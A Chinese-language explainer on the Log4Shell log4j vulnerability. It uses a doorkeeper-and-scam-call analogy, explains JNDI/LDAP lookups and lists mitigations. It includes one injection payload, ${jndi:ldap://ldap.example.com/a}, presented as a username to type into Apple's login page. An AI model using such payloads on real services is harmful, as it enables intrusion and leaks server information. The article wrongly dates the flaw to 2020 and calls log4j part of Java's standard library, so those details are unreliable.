作者：李曉飛

來源：Python 技術(shù)

2020 年的12月，勢必成為各個互聯(lián)網(wǎng)公司年度最深刻的記憶。

在 12 月初，爆出了一個核彈級的系統(tǒng)漏洞，導(dǎo)致眾多互聯(lián)網(wǎng)公司內(nèi)部服務(wù)器被發(fā)現(xiàn)，劫持，甚至植入程序。

盡管目前已經(jīng)出臺了修復(fù)補丁，但這個出現(xiàn)在最基礎(chǔ)的應(yīng)用最廣泛的模塊 log4j 上的漏洞還是讓我們心有余悸。

為什么這么就沒有被發(fā)現(xiàn)，為什么這個漏洞如此嚴(yán)重，這個漏洞到底是怎么回事？……

什么樣的漏洞

log4j[1] 是 Java 標(biāo)準(zhǔn)庫的模塊，主要負(fù)責(zé)記錄各種日志，和 Python 中的 logging[2] 類似。

log4j 功能強大，可以支持各種場景的日志記錄需求，比如將日志輸出到終端，將日志記錄到文件，或者發(fā)送到日志服務(wù)器等等，可以說但凡需要記錄日志的地方，log4j 是最佳選擇。

正是由于這一點，log4j 才成為最常用的模塊，加上互聯(lián)網(wǎng)公司的基礎(chǔ)設(shè)施都是由 java 構(gòu)建的，所以 log4j 深入到每個公司的角角落落。

log4j 就像一個兢兢業(yè)業(yè)，任勞任怨的門衛(wèi)老大爺，一絲不茍的記錄著各種來訪信息，以便系統(tǒng)排查問題。

為什么這樣一個普通的，不起眼的模塊會爆出一個驚天漏洞呢？

為了說明這個情況，我借鑒 少數(shù)派 PlatyHsu 的比喻[3]做講解，即使你不會編程，不懂技術(shù)也可以理解。

門衛(wèi)

前面我們說 log4j 是一個日志模塊，就像一個門衛(wèi)老大爺，凡是進入里面的人，都需要在門衛(wèi)處登記一下。

注意這里的登記不是驗證，只是簡單的記錄一下，比如誰，什么時候，什么目的等等，將這些信息記錄到日志里。

我們經(jīng)?？吹降?Web 系統(tǒng)的訪問日志，就是這個模塊負(fù)責(zé)產(chǎn)生的。

本來一切正常，但是在一些對性能要求很高的系統(tǒng)中，為了不讓日志記錄占用太多的時間（畢竟，停下來被詢問也是需要時間的），日志模塊里增加了一個事后處理的功能。

也就是說當(dāng)訪問者很著急時，只要留下一個電話，讓門衛(wèi)之后去詢問就好了。

這個設(shè)計有諸多好處，類似于異步處理，將記錄日志的過程分離出去，異步處理，這樣就不會影響主要流程的執(zhí)行了。

但是，問題也是出在這里的。

詐騙電話

一些別有用心的人，就利用預(yù)留電話的機制，留下了詐騙電話。

當(dāng)日志處理模塊，事后整理日志時，發(fā)現(xiàn)有一行寫了打電話詢問，于是就撥打了留下的電話，然后電話那頭說，恭喜你中獎了，獎品是一部手機，只要提供地址信息就可以免費郵寄過來，等等

這個日志模塊在完全不知情的情況下，就泄露了企業(yè)內(nèi)部的信息，這些信息包括收件人，內(nèi)部電話等等。

你可能會奇怪，為什么需要日志模塊撥打電話呢？到底是怎么撥打的電話，這里稍作展開一下。

日志模塊不是真的去撥打電話，而是日志記錄的機制中允許使用模板。

就像 Python 里的字符串模板一樣，在合成字符串時，可以用占位符代替實際內(nèi)容，根據(jù)實際情況做出填充例如：

strTemp = "Hello {name}" print(strTemp.format(name= 'Lily')) # 結(jié)果為：Hello Lily 

log4j 為了靈活，使用一個叫 JNDI[4]（Java Naming and Directory Interface）的目錄查詢方法，這個方法可以支持 LDAP[5]（輕型目錄訪問協(xié)議，Lightweight Directory Access Protocol）協(xié)議，對網(wǎng)絡(luò)上的輕型目標(biāo)進行查詢。

LDAP 的格式為:

ldap://ldap.example.com/cn=John%20Appleseed

意思是向 ldap.example.com 發(fā)送一個請求，查詢名為 John Appleseed 這個人的信息。

重點來了：

LDAP 協(xié)議是可以進行網(wǎng)絡(luò)訪問的

到這里我們就會發(fā)現(xiàn)，當(dāng)處理日志的程序，執(zhí)行到需要替換日志模板的語句時，恰巧有時需要通過 LDAP 協(xié)議獲取信息的情況下，就會去訪問這個地址。

如果別有用心者，將這個地址作為一個陷阱，或者作為一個木馬程序的下載地址，就可以在服務(wù)器毫不知情的情況下，在暴漏服務(wù)器內(nèi)部信息，甚至下載木馬程序到服務(wù)器上。

之前的很多報道已經(jīng)指出，黑客利用這個漏洞，在服務(wù)器上安裝了挖礦程序。

如何實施

對于普通大眾來說，系統(tǒng)漏洞離我們很遠(yuǎn)，即使知道這樣的漏洞存在，也不知如何發(fā)揮作用，也是因為這個原因，導(dǎo)致很多人對漏洞信息不敏感，以為自己不知道如何使用，別人也就不知道，這樣的想法會讓自己常常處于危險之中。

log4Shell 漏洞，實施起來簡單地讓人難以置信，甚至不需要使用什么攻擊工具，只需要在平臺的登錄頁面，填寫一個特別的用戶名即可。

例如在蘋果網(wǎng)站上，將用戶名寫成類似這樣的 ${jndi:ldap://ldap.example.com/a} 形式：

蘋果

當(dāng)然 ldap 網(wǎng)站需要自己設(shè)置或者使用一個可以提供記錄訪問者信息的服務(wù)，就能看到蘋果內(nèi)部的服務(wù)器信息了。

這里還有對 QQ 郵箱的攻擊示例：

QQ郵箱

只要在能訪問系統(tǒng)的地方，加上特殊的注入語句，就可以實施攻擊了，所以對漏洞的攻擊，并沒有想象中那么復(fù)雜，因此在發(fā)現(xiàn)漏洞時，要及時打補丁做補救，而不能因為自己不知如何實施而放之不管。

如何消除

當(dāng)我們了解了整個過程，對于如何防止就很清晰了，如果這個漏洞沒有被及時修復(fù)，也可以采取一些措施防止信息泄露。

最容易想到的是防止系統(tǒng)對不了解的外網(wǎng)進行訪問。

就像給內(nèi)部電話限制撥打長途一樣，對于超出范圍的呼叫做出限制。

第二可以通過參數(shù)設(shè)置禁止系統(tǒng)的中的 JNDI 通信協(xié)議，就是讓日志模塊中的 JNDI 失效。

還有就是下載補丁，修補漏洞。

給我們的啟示

漏洞修補很容易，但是造成這個漏洞的根源卻難以消除。

我們總是在易用性和安全性之間找到一個平衡點，而增加易用性和功能性的同時，會引入更多的不確定性，特別是當(dāng)依賴層級加大，大量的間接依賴會使問題的復(fù)雜程度超出我們的想象。

log4Shell 因為其巨大的破壞性，一經(jīng)發(fā)現(xiàn)，就被及時處理了，但可能還存在這樣那樣的依賴導(dǎo)致的問題，繼續(xù)存在。

因此我們在做系統(tǒng)擴展功能的時候，要特別注意因為依賴而導(dǎo)致的系統(tǒng)問題，很多時候命名覺得無關(guān)緊要的邊緣的功能，卻成了漏洞躲藏的絕佳場所。

總結(jié)

沒有一個純凈的環(huán)境，完美的世界，log4Shell 漏洞讓我更清楚地看到這個世界的真實 —— 漏洞無處不在！

我們能做的就是要提供防護意識，像預(yù)防新冠病毒一樣做好防護，不迷信，不謠傳，也不大意和忽視。

可能我們平時寫的代碼效用有限，如果沒有防護和安全意識，就像裸奔一樣。

幾年前筆者在 github 上發(fā)布一段代碼示例時，誤將實際環(huán)境的配置信息上傳了上去，過來一周左右，意識到問題時，服務(wù)器已經(jīng)被人注入了挖礦程序！

很難想象一個默默無聞的更新會被人注意且利用了，所以防護意識是我們暢游于網(wǎng)絡(luò)的護身符。

比心！

很難想象一個默默無聞的更新會被人注意且利用了，所以防護意識是我們暢游于網(wǎng)絡(luò)的護身符。